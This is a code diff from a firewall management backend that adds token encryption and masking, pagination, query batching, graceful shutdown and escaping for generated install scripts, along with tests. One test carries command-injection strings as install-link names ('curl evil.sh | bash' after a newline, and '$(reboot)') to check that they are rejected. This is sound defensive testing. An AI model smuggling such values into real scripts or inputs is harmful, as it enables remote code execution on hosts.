||||
)
|
||||
return { items: paged.items, total: paged.total }
|
||||
})
|
||||
|
||||
app.post('/rules', async (req) => {
|
||||
const body = createPolicyRuleBodySchema.parse(req.body)
|
||||
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
details: { set_id: s.id, ordered_ids: body.ordered_ids },
|
||||
})
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRules(app.db, s.id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
items: mapPolicyRules(
|
||||
repos.listPolicyRules(app.db, s.id),
|
||||
app.db,
|
||||
),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
import { putSettingsBodySchema } from '@evofw/shared'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { encryptSecret } from '../services/secret-cipher.js'
|
||||
|
||||
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const body = putSettingsBodySchema.parse(req.body)
|
||||
for (const [k, v] of Object.entries(body)) {
|
||||
if (k === 'evobgp_api_token' && v === '********') continue
|
||||
repos.setSetting(app.db, k, v)
|
||||
repos.setSetting(
|
||||
app.db,
|
||||
k,
|
||||
k === 'evobgp_api_token' ? encryptSecret(v) : v,
|
||||
)
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
@@ -38,3 +38,17 @@ try {
|
||||
app.log.error(err)
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
|
||||
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
|
||||
process.on(signal, () => {
|
||||
app.log.info(`${signal} received, shutting down`)
|
||||
app
|
||||
.close()
|
||||
.then(() => process.exit(0))
|
||||
.catch((err) => {
|
||||
app.log.error(err, 'error during shutdown')
|
||||
process.exit(1)
|
||||
})
|
||||
})
|
||||
}
|
||||
Whitespace-only changes.
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('agents CRUD critical paths', () => {
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function createInvitedAgent(
|
||||
app: Awaited<ReturnType<typeof buildApp>>,
|
||||
name: string,
|
||||
): Promise<string> {
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
expect(created.statusCode).toBe(201)
|
||||
return (created.json() as { agent_id: string }).agent_id
|
||||
}
|
||||
|
||||
describe('bulk agent operations', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('approve-bulk approves invited agents in one request', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'bulk-01')
|
||||
const a2 = await createInvitedAgent(app, 'bulk-02')
|
||||
const a3 = await createInvitedAgent(app, 'bulk-03')
|
||||
|
||||
const bulk = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1, a2, a3] },
|
||||
})
|
||||
expect(bulk.statusCode).toBe(200)
|
||||
const body = bulk.json() as { items: { id: string; status: string }[] }
|
||||
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
|
||||
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
|
||||
|
||||
// shared default set assigned on approve
|
||||
for (const id of [a1, a2, a3]) {
|
||||
const sets = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${id}/policy-sets`,
|
||||
})
|
||||
const items = (sets.json() as { items: { set_id: string }[] }).items
|
||||
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
|
||||
}
|
||||
|
||||
// repeated bulk is a no-op (already approved)
|
||||
const again = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1] },
|
||||
})
|
||||
expect(again.statusCode).toBe(200)
|
||||
expect((again.json() as { items: unknown[] }).items).toEqual([])
|
||||
})
|
||||
|
||||
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'assign-01')
|
||||
const a2 = await createInvitedAgent(app, 'assign-02')
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1, a2] },
|
||||
})
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/policy-sets',
|
||||
payload: { name: 'bulk-assign-set' },
|
||||
})
|
||||
const setId = (created.json() as { id: string }).id
|
||||
|
||||
// assign both
|
||||
const put = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [a1, a2] },
|
||||
})
|
||||
expect(put.statusCode).toBe(200)
|
||||
expect((put.json() as { added: string[] }).added.sort()).toEqual(
|
||||
[a1, a2].sort(),
|
||||
)
|
||||
|
||||
// a1 keeps set when a2 removed; shared default preserved for both
|
||||
const drop = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [a1] },
|
||||
})
|
||||
expect(drop.statusCode).toBe(200)
|
||||
const dropBody = drop.json() as {
|
||||
agent_ids: string[]
|
||||
removed: string[]
|
||||
}
|
||||
expect(dropBody.agent_ids).toEqual([a1])
|
||||
expect(dropBody.removed).toEqual([a2])
|
||||
|
||||
const setsA1 = (
|
||||
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
|
||||
.json() as { items: { set_id: string }[] }
|
||||
).items.map((s) => s.set_id)
|
||||
const setsA2 = (
|
||||
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
|
||||
.json() as { items: { set_id: string }[] }
|
||||
).items.map((s) => s.set_id)
|
||||
expect(setsA1).toContain(setId)
|
||||
expect(setsA2).not.toContain(setId)
|
||||
expect(setsA2).toContain('set-shared-default')
|
||||
|
||||
// empty array clears the whole assignment
|
||||
const clear = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [] },
|
||||
})
|
||||
expect(clear.statusCode).toBe(200)
|
||||
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
|
||||
|
||||
// unknown agent → 404, and nothing changed
|
||||
const bad = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: ['no-such-agent'] },
|
||||
})
|
||||
expect(bad.statusCode).toBe(404)
|
||||
})
|
||||
})
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('install-links', () => {
|
||||
@@ -112,6 +116,55 @@ describe('install-links', () => {
|
||||
expect(row?.status).toBe('pending')
|
||||
})
|
||||
|
||||
it('rejects install link names with unsafe characters', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const bad = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||
})
|
||||
expect(bad.statusCode).toBe(400)
|
||||
|
||||
const quotes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||
})
|
||||
expect(quotes.statusCode).toBe(400)
|
||||
})
|
||||
|
||||
it('masks per-list api_token in list responses', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'evobgp-masked',
|
||||
type: 'evobgp_community',
|
||||
config: {
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: '',
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(created.statusCode).toBe(200)
|
||||
const body = created.json() as { config_json: string }
|
||||
expect(body.config_json).not.toContain('super-secret-token')
|
||||
expect(body.config_json).toContain('********')
|
||||
|
||||
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||
expect(
|
||||
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||
).toBe(false)
|
||||
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||
})
|
||||
|
||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
|
||||
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
||||
}
|
||||
|
||||
/** Strip control characters that have no business inside generated scripts. */
|
||||
function stripControlChars(s: string): string {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return s.replace(/[\x00-\x1f\x7f]/g, '')
|
||||
}
|
||||
|
||||
function escapeRosString(s: string): string {
|
||||
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
|
||||
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
|
||||
return stripControlChars(s)
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/"/g, '\\"')
|
||||
.replace(/\$/g, '\\$')
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
|
||||
platform: string
|
||||
installLinkId: string
|
||||
}): string {
|
||||
const cp = opts.cpUrl.replace(/\/$/, '')
|
||||
const escape = (s: string) => s.replace(/'/g, `'\\''`)
|
||||
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
|
||||
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
|
||||
const header = [
|
||||
'#!/usr/bin/env bash',
|
||||
'# EvoFirewall short install link — env pre-set',
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
} from '@evofw/shared'
|
||||
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { maskListConfig } from '../secret-cipher.js'
|
||||
|
||||
export function getListConfig(list: {
|
||||
configJson: string
|
||||
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
rebuildManualListEntries,
|
||||
} from './entries.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { decryptSecret } from '../secret-cipher.js'
|
||||
|
||||
function hashCidrs(cidrs: string[]): string {
|
||||
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
||||
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
|
||||
repos.replaceIpListEntries(db, listId, cidrs)
|
||||
} else if (list.type === 'evobgp_community') {
|
||||
const apiUrl =
|
||||
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
|
||||
String(config.api_url ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_url') ||
|
||||
''
|
||||
const token =
|
||||
String(config.api_token ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_token')
|
||||
decryptSecret(String(config.api_token ?? '') || null) ??
|
||||
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
|
||||
const communityId = String(config.community_id ?? '')
|
||||
if (!apiUrl || !token || !communityId) {
|
||||
throw new Error('evobgp_api_url, token and community_id required')
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
/**
|
||||
* Backwards-compatible list pagination: without limit/offset the response is
|
||||
* the full list (total === items.length); with them, a page plus the total.
|
||||
*/
|
||||
export function applyPagination<T>(
|
||||
items: T[],
|
||||
query: { limit?: string; offset?: string },
|
||||
): { items: T[]; total: number } {
|
||||
const total = items.length
|
||||
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
|
||||
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
|
||||
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
|
||||
return { items, total }
|
||||
}
|
||||
const limit = Number.isFinite(limitRaw)
|
||||
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
|
||||
: items.length
|
||||
const offset = Number.isFinite(offsetRaw)
|
||||
? Math.max(0, Math.floor(offsetRaw))
|
||||
: 0
|
||||
return { items: items.slice(offset, offset + limit), total }
|
||||
}
|
||||
@@ -54,13 +54,41 @@ export type EvaluatedPolicy = {
|
||||
}
|
||||
}
|
||||
|
||||
function expandList(db: Db, listId: string | null | undefined): string[] {
|
||||
if (!listId) return []
|
||||
return repos.listIpListEntries(db, listId).map((e) => e.cidr)
|
||||
/**
|
||||
* Prefetched expansion data: one batched query per kind instead of a query
|
||||
* per rule (this code runs on every agent policy poll, ~60s per agent).
|
||||
*/
|
||||
type ExpansionContext = {
|
||||
entriesByList: Map<string, string[]>
|
||||
resolvedByRule: Map<string, string[]>
|
||||
listNames: Map<string, string>
|
||||
}
|
||||
|
||||
function buildExpansionContext(
|
||||
db: Db,
|
||||
rules: { id: string; listId: string | null; hostname: string | null }[],
|
||||
portRuleRows: { listId: string | null }[],
|
||||
): ExpansionContext {
|
||||
const listIds = [
|
||||
...new Set(
|
||||
[
|
||||
...rules.map((r) => r.listId?.trim() || ''),
|
||||
...portRuleRows.map((r) => r.listId?.trim() || ''),
|
||||
].filter(Boolean),
|
||||
),
|
||||
]
|
||||
const hostnameRuleIds = [
|
||||
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
|
||||
]
|
||||
return {
|
||||
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
|
||||
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
|
||||
listNames: repos.mapIpListNames(db, listIds),
|
||||
}
|
||||
}
|
||||
|
||||
function expandRule(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
rule: {
|
||||
cidr: string | null
|
||||
listId: string | null
|
||||
@@ -70,9 +98,10 @@ function expandRule(
|
||||
): string[] {
|
||||
if (rule.cidr?.trim()) return [rule.cidr.trim()]
|
||||
if (rule.hostname?.trim()) {
|
||||
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr)
|
||||
return ctx.resolvedByRule.get(rule.id) ?? []
|
||||
}
|
||||
return expandList(db, rule.listId)
|
||||
const listId = rule.listId?.trim() || ''
|
||||
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
|
||||
}
|
||||
|
||||
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
|
||||
@@ -83,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
|
||||
}
|
||||
|
||||
function sourceMeta(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
rule: {
|
||||
cidr: string | null
|
||||
listId: string | null
|
||||
@@ -97,12 +126,12 @@ function sourceMeta(
|
||||
return { kind: 'hostname', label: rule.hostname.trim() }
|
||||
}
|
||||
const listId = rule.listId?.trim() || ''
|
||||
const name = listId ? repos.getIpList(db, listId)?.name : null
|
||||
const name = listId ? ctx.listNames.get(listId) : null
|
||||
return { kind: 'list', label: name || listId || 'list' }
|
||||
}
|
||||
|
||||
function expandPortSrcCidrs(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
row: {
|
||||
srcKind: string
|
||||
srcCidr: string | null
|
||||
@@ -114,18 +143,22 @@ function expandPortSrcCidrs(
|
||||
return [row.srcCidr.trim()]
|
||||
}
|
||||
if (row.srcKind === 'list') {
|
||||
const cidrs = expandList(db, row.listId)
|
||||
const cidrs = row.listId
|
||||
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
|
||||
: []
|
||||
return cidrs.length ? uniqCidrs(cidrs) : []
|
||||
}
|
||||
return []
|
||||
}
|
||||
|
||||
function expandPortRules(db: Db, agentId: string): EvaluatedPortRule[] {
|
||||
const rows = repos.listEnabledAgentPortRules(db, agentId)
|
||||
function expandPortRules(
|
||||
ctx: ExpansionContext,
|
||||
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
|
||||
): EvaluatedPortRule[] {
|
||||
const out: EvaluatedPortRule[] = []
|
||||
for (const row of rows) {
|
||||
const action = row.action === 'close' ? 'close' : 'open'
|
||||
const srcCidrs = expandPortSrcCidrs(db, row)
|
||||
const srcCidrs = expandPortSrcCidrs(ctx, row)
|
||||
if (!srcCidrs.length) continue
|
||||
const portStart = Math.max(1, Math.min(65535, row.portStart))
|
||||
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
|
||||
@@ -161,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
.filter((s) => s.enabled === 1)
|
||||
const ordered = repos.listPolicyRulesForAgent(db, agentId)
|
||||
const overrides = repos.listOverrides(db, agentId)
|
||||
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
|
||||
const ctx = buildExpansionContext(db, ordered, portRuleRows)
|
||||
|
||||
const deny: string[] = []
|
||||
const allow: string[] = []
|
||||
@@ -169,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
let rulesAllow = 0
|
||||
|
||||
for (const rule of ordered) {
|
||||
const cidrs = expandRule(db, rule)
|
||||
const cidrs = expandRule(ctx, rule)
|
||||
const action = rule.action === 'deny' ? 'deny' : 'allow'
|
||||
if (action === 'deny') {
|
||||
deny.push(...cidrs)
|
||||
@@ -178,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
allow.push(...cidrs)
|
||||
rulesAllow += 1
|
||||
}
|
||||
const src = sourceMeta(db, rule)
|
||||
const src = sourceMeta(ctx, rule)
|
||||
const setName =
|
||||
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
|
||||
chain.push({
|
||||
@@ -214,7 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
const conflictsDropped = allowRaw.length - allowCidrs.length
|
||||
const defaultAction = resolveDefaultAction(agent.defaultAction)
|
||||
const policyMode = legacyModeFromDefaultAction(defaultAction)
|
||||
const portRules = expandPortRules(db, agentId)
|
||||
const portRules = expandPortRules(ctx, portRuleRows)
|
||||
|
||||
const payload = JSON.stringify({
|
||||
apply_version: POLICY_APPLY_VERSION,
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function createAgent(
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import { repos } from '@evofw/db'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('stats retention + list pagination', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('deleteStatsSamplesBefore drops only old samples', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'retention-agent', platform: 'linux' },
|
||||
})
|
||||
const agentId = (created.json() as { agent_id: string }).agent_id
|
||||
const iso = (daysAgo: number) =>
|
||||
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
|
||||
for (const daysAgo of [60, 45, 10, 0]) {
|
||||
repos.insertStatsSample(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId,
|
||||
packetsDropped: daysAgo,
|
||||
packetsAccepted: 0,
|
||||
prefixCount: 0,
|
||||
kernelMethod: null,
|
||||
recordedAt: iso(daysAgo),
|
||||
})
|
||||
}
|
||||
|
||||
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
|
||||
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||
expect(deleted).toBe(2)
|
||||
|
||||
const remaining = repos.listStatsSamples(app.db, agentId, 100)
|
||||
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
|
||||
})
|
||||
|
||||
it('list endpoints return total and honor limit/offset', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
for (const name of ['page-a', 'page-b', 'page-c']) {
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
}
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: { name: 'page-list', type: 'static' },
|
||||
})
|
||||
|
||||
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
||||
expect(all.statusCode).toBe(200)
|
||||
const allBody = all.json() as { items: unknown[]; total: number }
|
||||
expect(allBody.items.length).toBe(allBody.total)
|
||||
|
||||
const page = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/api/v1/agents?limit=1&offset=1',
|
||||
})
|
||||
const pageBody = page.json() as { items: unknown[]; total: number }
|
||||
expect(pageBody.items).toHaveLength(1)
|
||||
expect(pageBody.total).toBe(allBody.total)
|
||||
|
||||
const lists = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/api/v1/lists?limit=1',
|
||||
})
|
||||
const listsBody = lists.json() as { items: unknown[]; total: number }
|
||||
expect(listsBody.items).toHaveLength(1)
|
||||
expect(listsBody.total).toBeGreaterThanOrEqual(1)
|
||||
})
|
||||
})
|
||||
@@ -67,6 +67,21 @@ export function mapPolicySets(
|
||||
export function mapPolicyRule(
|
||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
) {
|
||||
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
|
||||
}
|
||||
|
||||
function countResolved(
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
ruleIds: string[],
|
||||
): Map<string, number> {
|
||||
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
|
||||
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
|
||||
}
|
||||
|
||||
function mapPolicyRuleWithCounts(
|
||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||
resolvedCount: number | undefined,
|
||||
) {
|
||||
return {
|
||||
id: r.id,
|
||||
@@ -77,11 +92,23 @@ export function mapPolicyRule(
|
||||
list_id: r.listId,
|
||||
cidr: r.cidr,
|
||||
hostname: r.hostname,
|
||||
resolved_count: r.hostname
|
||||
? repos.listResolvedForRule(db, r.id).length
|
||||
: undefined,
|
||||
resolved_count: resolvedCount,
|
||||
comment: r.comment,
|
||||
created_at: r.createdAt,
|
||||
updated_at: r.updatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
|
||||
export function mapPolicyRules(
|
||||
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
) {
|
||||
const counts = countResolved(
|
||||
db,
|
||||
rules.filter((r) => r.hostname).map((r) => r.id),
|
||||
)
|
||||
return rules.map((r) =>
|
||||
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import {
|
||||
encryptSecret,
|
||||
decryptSecret,
|
||||
isEncryptedSecret,
|
||||
sealListConfig,
|
||||
maskListConfig,
|
||||
} from './secret-cipher.js'
|
||||
|
||||
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
|
||||
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
|
||||
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
|
||||
})
|
||||
|
||||
describe('secret-cipher', () => {
|
||||
it('passes values through when no key is configured', () => {
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(encryptSecret('plain')).toBe('plain')
|
||||
expect(decryptSecret('plain')).toBe('plain')
|
||||
expect(isEncryptedSecret('plain')).toBe(false)
|
||||
})
|
||||
|
||||
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
expect(enc).not.toContain('super-secret-token')
|
||||
expect(enc.startsWith('enc:v1:')).toBe(true)
|
||||
expect(decryptSecret(enc)).toBe('super-secret-token')
|
||||
// already-encrypted values are not double-encrypted
|
||||
expect(encryptSecret(enc)).toBe(enc)
|
||||
})
|
||||
|
||||
it('returns null for encrypted values when the key is missing or wrong', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
})
|
||||
|
||||
it('seals and masks list config api_token', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const sealed = sealListConfig({
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: 'abc',
|
||||
})
|
||||
expect(sealed).not.toContain('super-secret-token')
|
||||
const parsed = JSON.parse(sealed) as { api_token: string }
|
||||
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
|
||||
|
||||
const masked = maskListConfig(sealed)
|
||||
expect(masked).toContain('********')
|
||||
expect(masked).not.toContain('enc:v1:')
|
||||
|
||||
// configs without tokens pass through untouched
|
||||
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
|
||||
'{"api_url":"https://x"}',
|
||||
)
|
